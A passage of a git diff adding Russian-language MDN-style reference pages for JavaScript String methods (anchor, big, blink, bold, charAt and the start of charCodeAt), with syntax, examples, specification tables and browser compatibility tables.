diff --git a/files/ru/web/javascript/reference/global_objects/string/anchor/index.html b/files/ru/web/javascript/reference/global_objects/string/anchor/index.html
new file mode 100644
index 0000000000..43b5161a75
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/anchor/index.html
@@ -0,0 +1,131 @@
+---
+title: String.prototype.anchor()
+slug: Web/JavaScript/Reference/Global_Objects/String/anchor
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - Référence(2)
+  - String
+  - Методы оборачивания в HTML
+translation_of: Web/JavaScript/Reference/Global_Objects/String/anchor
+---
+<div>{{JSRef("Global_Objects", "String")}} {{deprecated_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>anchor()</code></strong> создаёт якорный HTML-элемент {{HTMLElement("a")}}, используемый в качестве цели гиперссылки.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.anchor(<var>name</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Строка, представляющая атрибут <code>name</code> создаваемого тега.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>anchor()</code> используется для программного создания и отображения якоря в документе.</p>
+
+<p>Текстовая строка представляет из себя буквальный текст, который ва хотите показать пользователю. Строковый параметр <code>name</code> представляет атрибут <code>name</code> элемента {{HTMLElement("a")}}.</p>
+
+<p>Якоря, созданные методом <code>anchor()</code>, становятся элементами в массиве {{domxref("document.anchors")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_anchor" name="Example:_Using_anchor">Пример: использование метода <code>anchor()</code></h3>
+
+<pre class="brush: js">var myString = 'Оглавление';
+
+document.body.innerHTML = myString.anchor('contents_anchor');
+</pre>
+
+<p>приведёт к выводу следующего HTML:</p>
+
+<pre class="brush: html">&lt;a name="contents_anchor"&gt;Оглавление&lt;/a&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.anchor', 'String.prototype.anchor')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.<br>
+    Определена в (нормативном) Приложении B по Дополнительным возможностям ECMAScript для веб-браузеров.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Gecko-specific_notes" name="Gecko-specific_notes">Примечания по Gecko</h3>
+
+<p>Начиная с версии {{gecko("17")}}, символ <code>"</code> (кавычка) в строках, передаваемых в качестве параметра <code>name</code>, заменяется его HTML-мнемоникой <code>&amp;quot;</code>.</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.link()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/big/index.html b/files/ru/web/javascript/reference/global_objects/string/big/index.html
new file mode 100644
index 0000000000..b0172de18a
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/big/index.html
@@ -0,0 +1,112 @@
+---
+title: String.prototype.big()
+slug: Web/JavaScript/Reference/Global_Objects/String/big
+tags:
+  - Deprecated
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+  - Методы оборачивания в HTML
+translation_of: Web/JavaScript/Reference/Global_Objects/String/big
+---
+<div>{{JSRef("Global_Objects", "String")}} {{deprecated_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>big()</code></strong> создаёт HTML-элемент {{HTMLElement("big")}}, заставляющий строку отображаться большим шрифтом.</p>
+<div class="note">
+ <p><strong>Примечание по использованию:</strong> элемент &lt;big&gt; был удалён из <a href="/ru/docs/Web/Guide/HTML/HTML5">HTML5</a> и больше не должен использоваться. Вместо него веб-разработчикам следует использовать свойства <a href="/ru/docs/Web/CSS">CSS</a>.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>str</var>.big()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>big()</code> заключает строку в тег <code>&lt;big&gt;</code>: <code>"&lt;big&gt;str&lt;/big&gt;"</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_big" name="Example:_Using_big">Пример: использование метода <code>big()</code></h3>
+<p>В следующем примере демонстрируется использование нескольких строковых методов для изменения размера строки:</p>
+<pre class="brush: js">var worldString = 'Привет, мир';
+
+console.log(worldString.small());     // &lt;small&gt;Привет, мир&lt;/small&gt;
+console.log(worldString.big());       // &lt;big&gt;Привет, мир&lt;/big&gt;
+console.log(worldString.fontsize(7)); // &lt;fontsize=7&gt;Привет, мир&lt;/fontsize&gt;
+</pre>
+<p>При помощи объекта {{domxref("HTMLElement.style", "element.style")}} вы можете получить значение атрибута <code>style</code> элемента и управлять им более обобщённым способом, например:</p>
+<pre class="brush: js">document.getElementById('yourElemId').style.fontSize = '2em';
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.big', 'String.prototype.big')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.<br>
+    Определена в (нормативном) Приложении B по Дополнительным возможностям ECMAScript для веб-браузеров.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoDesktop("1.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoMobile("1.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("String.prototype.fontsize()")}}</li>
+ <li>{{jsxref("String.prototype.small()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/blink/index.html b/files/ru/web/javascript/reference/global_objects/string/blink/index.html
new file mode 100644
index 0000000000..4cb5218f7f
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/blink/index.html
@@ -0,0 +1,117 @@
+---
+title: String.prototype.blink()
+slug: Web/JavaScript/Reference/Global_Objects/String/blink
+tags:
+  - Deprecated
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+  - Методы оборачивания в HTML
+translation_of: Web/JavaScript/Reference/Global_Objects/String/blink
+---
+<div>{{JSRef("Global_Objects", "String")}} {{deprecated_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>blink()</code></strong> создаёт HTML-элемент {{HTMLElement("blink")}}, заставляющий строку мерцать.</p>
+<div class="warning">
+ <p><strong>Предупреждение:</strong> мерцающий текст осуждается некоторыми стандартами доступности. Сам элемент <code>&lt;blink&gt;</code> является нестандартным и устаревшим!</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>str</var>.blink()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>blink()</code> заключает строку в тег <code>&lt;blink&gt;</code>: <code>"&lt;blink&gt;str&lt;/blink&gt;"</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_blink" name="Example:_Using_blink">Пример: использование метода <code>blink()</code></h3>
+<p>В следующем примере демонстрируется использование нескольких строковых методов для изменения форматирования строки:</p>
+<pre class="brush: js">var worldString = 'Привет, мир';
+
+document.write(worldString.blink());
+document.write(worldString.bold());
+document.write(worldString.italics());
+document.write(worldString.strike());
+</pre>
+<p>Этот пример генерирует такой же вывод, как и следующий HTML:</p>
+<pre class="brush: html">&lt;blink&gt;Привет, мир&lt;/blink&gt;
+&lt;b&gt;Привет, мир&lt;/b&gt;
+&lt;i&gt;Привет, мир&lt;/i&gt;
+&lt;strike&gt;Привет, мир&lt;/strike&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.blink', 'String.prototype.blink')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.<br>
+    Определена в (нормативном) Приложении B по Дополнительным возможностям ECMAScript для веб-браузеров.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoDesktop("1.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoMobile("1.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("String.prototype.bold()")}}</li>
+ <li>{{jsxref("String.prototype.italics()")}}</li>
+ <li>{{jsxref("String.prototype.strike()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/bold/index.html b/files/ru/web/javascript/reference/global_objects/string/bold/index.html
new file mode 100644
index 0000000000..255ff7623c
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/bold/index.html
@@ -0,0 +1,114 @@
+---
+title: String.prototype.bold()
+slug: Web/JavaScript/Reference/Global_Objects/String/bold
+tags:
+  - Deprecated
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+  - Методы оборачивания в HTML
+translation_of: Web/JavaScript/Reference/Global_Objects/String/bold
+---
+<div>{{JSRef("Global_Objects", "String")}} {{deprecated_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>bold()</code></strong> создаёт HTML-элемент {{HTMLElement("b")}}, заставляющий строку отображаться полужирным шрифтом.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>str</var>.bold()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>bold()</code> заключает строку в тег <code>&lt;b&gt;</code>: <code>"&lt;b&gt;str&lt;/b&gt;"</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_bold" name="Example:_Using_bold">Пример: использование метода <code>bold()</code></h3>
+<p>В следующем примере демонстрируется использование нескольких строковых методов для изменения форматирования строки:</p>
+<pre class="brush: js">var worldString = 'Привет, мир';
+
+document.write(worldString.blink());
+document.write(worldString.bold());
+document.write(worldString.italics());
+document.write(worldString.strike());
+</pre>
+<p>Этот пример генерирует такой же вывод, как и следующий HTML:</p>
+<pre class="brush: html">&lt;blink&gt;Привет, мир&lt;/blink&gt;
+&lt;b&gt;Привет, мир&lt;/b&gt;
+&lt;i&gt;Привет, мир&lt;/i&gt;
+&lt;strike&gt;Привет, мир&lt;/strike&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.bold', 'String.prototype.bold')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.<br>
+    Определена в (нормативном) Приложении B по Дополнительным возможностям ECMAScript для веб-браузеров.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoDesktop("1.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoMobile("1.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("String.prototype.blink()")}}</li>
+ <li>{{jsxref("String.prototype.italics()")}}</li>
+ <li>{{jsxref("String.prototype.strike()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/charat/index.html b/files/ru/web/javascript/reference/global_objects/string/charat/index.html
new file mode 100644
index 0000000000..c86dae26aa
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/charat/index.html
@@ -0,0 +1,270 @@
+---
+title: String.prototype.charAt()
+slug: Web/JavaScript/Reference/Global_Objects/String/charAt
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/charAt
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>charAt()</code></strong> возвращает указанный символ из строки.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>str</var>.charAt(<var>index</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>index</code></dt>
+ <dd>Целое число от 0 до длины строки минус 1.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Символы в строке идут слева направо. Индекс первого символа равен 0, а последнего символа в строке <code>stringName</code> равен <code>stringName.length - 1</code>. Если предоставленный вами параметр <code>index</code> выходит за пределы этого диапазона, JavaScript вернёт пустую строку.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Displaying_characters_at_different_locations_in_a_string" name="Example:_Displaying_characters_at_different_locations_in_a_string">Пример: отображение символов из различных позиций строки</h3>
+<p>Следующий пример показывает символы в различных позициях в строке <code>"Дивный новый мир"</code>:</p>
+<pre class="brush: js">var anyString = 'Дивный новый мир';
+
+console.log("Символ по индексу 0   равен '" + anyString.charAt(0)   + "'");
+console.log("Символ по индексу 1   равен '" + anyString.charAt(1)   + "'");
+console.log("Символ по индексу 2   равен '" + anyString.charAt(2)   + "'");
+console.log("Символ по индексу 3   равен '" + anyString.charAt(3)   + "'");
+console.log("Символ по индексу 4   равен '" + anyString.charAt(4)   + "'");
+console.log("Символ по индексу 5   равен '" + anyString.charAt(5)   + "'");
+console.log("Символ по индексу 999 равен '" + anyString.charAt(999) + "'");
+</pre>
+<p>Этот код отобразит следующее:</p>
+<pre class="brush: js">Символ по индексу 0   равен 'Д'
+Символ по индексу 1   равен 'и'
+Символ по индексу 2   равен 'в'
+Символ по индексу 3   равен 'н'
+Символ по индексу 4   равен 'ы'
+Символ по индексу 5   равен 'й'
+Символ по индексу 999 равен ''
+</pre>
+
+<h3 id="Example:_Getting_whole_characters" name="Example:_Getting_whole_characters">Пример: получение целых символов</h3>
+<p>Следующий пример показывает, как обойти строку в цикле, каждый раз гарантированно получая целый символ, даже если строка содержит символы, не помещающиеся на Базовую многоязыковую плоскость (БМП).</p>
+<pre class="brush: js">var str = 'A \uD87E\uDC04 Z'; // Также можно использовать не-БМП символы напрямую
+for (var i = 0, chr; i &lt; str.length; i++) {
+  if ((chr = getWholeChar(str, i)) === false) {
+    continue;
+  }
+  // Поместите эти строки в самое начало каждого цикла, передавая в функцию строку
+  // и текущую итерацию; возвращаемая переменная будут представлять
+  // отдельный символ
+
+  console.log(chr);
+}
+
+function getWholeChar(str, i) {
+  var code = str.charCodeAt(i);
+
+  if (isNaN(code)) {
+    return ''; // Позиция не найдена
+  }
+  if (code &lt; 0xD800 || code &gt; 0xDFFF) {
+    return str.charAt(i);
+  }
+
+  // Старшая часть суррогатной пары (последнее число можно изменить на 0xDB7F,
+  // чтобы трактовать старшую часть суррогатной пары в частной плоскости как
+  // одиночный символ)
+  if (0xD800 &lt;= code &amp;&amp; code &lt;= 0xDBFF) {
+    if (str.length &lt;= (i + 1)) {
+      throw 'Старшая часть суррогатной пары без следующей младшей';
+    }
+    var next = str.charCodeAt(i + 1);
+      if (0xDC00 &gt; next || next &gt; 0xDFFF) {
+        throw 'Старшая часть суррогатной пары без следующей младшей';
+      }
+      return str.charAt(i) + str.charAt(i + 1);
+  }
+  // Младшая часть суррогатной пары (0xDC00 &lt;= code &amp;&amp; code &lt;= 0xDFFF)
+  if (i === 0) {
+    throw 'Младшая часть суррогатной пары без предшествующей старшей';
+  }
+  var prev = str.charCodeAt(i - 1);
+
+  // (последнее число можно изменить на 0xDB7F, чтобы трактовать старшую
+  // часть суррогатной пары в частной плоскости как одиночный символ)
+  if (0xD800 &gt; prev || prev &gt; 0xDBFF) {
+    throw 'Младшая часть суррогатной пары без предшествующей старшей';
+  }
+  // Теперь мы можем пропустить младшую часть суррогатной пары,
+  // которую мы уже обработали
+  return false;
+}
+</pre>
+<p>В среде, поддерживающей JavaScript 1.7+ (например, в Firefox), который позволяет деструктуризующее присваивание, можно использовать более лаконичную и более гибкую альтернативу в том смысле, что она автоматически увеличивает счётчик (если символ гарантированно является суррогатной парой).</p>
+<pre class="brush: js">var str = 'A\uD87E\uDC04Z'; // Также можно использовать не-БМП символы напрямую
+for (var i = 0, chr; i &lt; str.length; i++) {
+  [chr, i] = getWholeCharAndI(str, i);
+  // Поместите эту строку в самое начало каждого цикла, передавая в функцию строку
+  // и текущую итерацию; возвращаемый массив будет содержать отдельный символ и
+  // новое значение счётчика цикла 'i' (изменится только при встрече суррогатной пары)
+
+  console.log(chr);
+}
+
+function getWholeCharAndI(str, i) {
+  var code = str.charCodeAt(i);
+
+  if (isNaN(code)) {
+    return ''; // Позиция не найдена
+  }
+  if (code &lt; 0xD800 || code &gt; 0xDFFF) {
+    return [str.charAt(i), i]; // Обычный символ, оставляем переменную 'i' неизменной
+  }
+
+  // Старшая часть суррогатной пары (последнее число можно изменить на 0xDB7F,
+  // чтобы трактовать старшую часть суррогатной пары в частной плоскости как
+  // одиночный символ)
+  if (0xD800 &lt;= code &amp;&amp; code &lt;= 0xDBFF) {
+    if (str.length &lt;= (i + 1)) {
+      throw 'Старшая часть суррогатной пары без следующей младшей';
+    }
+    var next = str.charCodeAt(i + 1);
+      if (0xDC00 &gt; next || next &gt; 0xDFFF) {
+        throw 'Старшая часть суррогатной пары без следующей младшей';
+      }
+      return [str.charAt(i) + str.charAt(i + 1), i + 1];
+  }
+  // Младшая часть суррогатной пары (0xDC00 &lt;= code &amp;&amp; code &lt;= 0xDFFF)
+  if (i === 0) {
+    throw 'Младшая часть суррогатной пары без предшествующей старшей';
+  }
+  var prev = str.charCodeAt(i - 1);
+
+  // (последнее число можно изменить на 0xDB7F, чтобы трактовать старшую
+  // часть суррогатной пары в частной плоскости как одиночный символ)
+  if (0xD800 &gt; prev || prev &gt; 0xDBFF) {
+    throw 'Младшая часть суррогатной пары без предшествующей старшей';
+  }
+  // Возвращаем следующий символ (и увеличиваем счётчик)
+  return [str.charAt(i + 1), i + 1];
+}
+</pre>
+
+<h3 id="Example:_Fixing_charAt_to_support_non-Basic-Multilingual-Plane_(BMP)_characters" name="Example:_Fixing_charAt_to_support_non-Basic-Multilingual-Plane_(BMP)_characters">Пример: добавление к методу <code>charAt()</code> поддержки символов не в Базовой многоязыковой плоскости (БМП)</h3>
+<p>В то время как пример выше может быть более полезен тем, кто хочет поддерживать символы не в плоскости БМП (поскольку он не требует от вызывающей стороны знания о том, где может встретиться символ из не-БМП), в случае, если кто-то желает <em>выбирать</em> символы по индексу и трактовать суррогатную пару внутри строки как один символ, он может использовать следующий код:</p>
+<pre class="brush: js">function fixedCharAt(str, idx) {
+  var ret = '';
+  str += '';
+  var end = str.length;
+
+  var surrogatePairs = /[\uD800-\uDBFF][\uDC00-\uDFFF]/g;
+  while ((surrogatePairs.exec(str)) != null) {
+    var li = surrogatePairs.lastIndex;
+    if (li - 2 &lt; idx) {
+      idx++;
+    } else {
+      break;
+    }
+  }
+
+  if (idx &gt;= end || idx &lt; 0) {
+    return '';
+  }
+
+  ret += str.charAt(idx);
+
+  if (/[\uD800-\uDBFF]/.test(ret) &amp;&amp; /[\uDC00-\uDFFF]/.test(str.charAt(idx + 1))) {
+    // Перешагиваем через один, поскольку один «символ» является частью суррогатной пары
+    ret += str.charAt(idx + 1);
+  }
+  return ret;
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.4', 'String.prototype.charAt')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.charat', 'String.prototype.charAt')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("String.prototype.charCodeAt()")}}</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}}</li>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/charcodeat/index.html b/files/ru/web/javascript/reference/global_objects/string/charcodeat/index.html
new file mode 100644
index 0000000000..d5c58899cf
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/charcodeat/index.html
@@ -0,0 +1,205 @@
+---
+title: String.prototype.charCodeAt()
+slug: Web/JavaScript/Reference/Global_Objects/String/charCodeAt
+tags:
+  - JavaScript
+  - Method
+  - Reference
+  - String
+  - Unicode
+translation_of: Web/JavaScript/Reference/Global_Objects/String/charCodeAt
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>charCodeAt()</code></strong> возвращает числовое значение Юникода для символа по указанному индексу (за исключением кодовых точек Юникода, больших 0x10000).</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.charCodeAt(<var>index</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>index</code></dt>
+ <dd>Целое число больше, либо равное 0 и меньше длины строки; если параметр не является числом, он устанавливается в 0.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Кодовые точки Юникода простираются в диапазоне от 0 до 1114111 (0x10FFFF). Первые 128 кодовых точек Юникода напрямую отображаются в кодировку ASCII. Информацию по Юникоду смотрите в <a href="/ru/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Unicode">Руководстве по JavaScript</a>.</p>
+
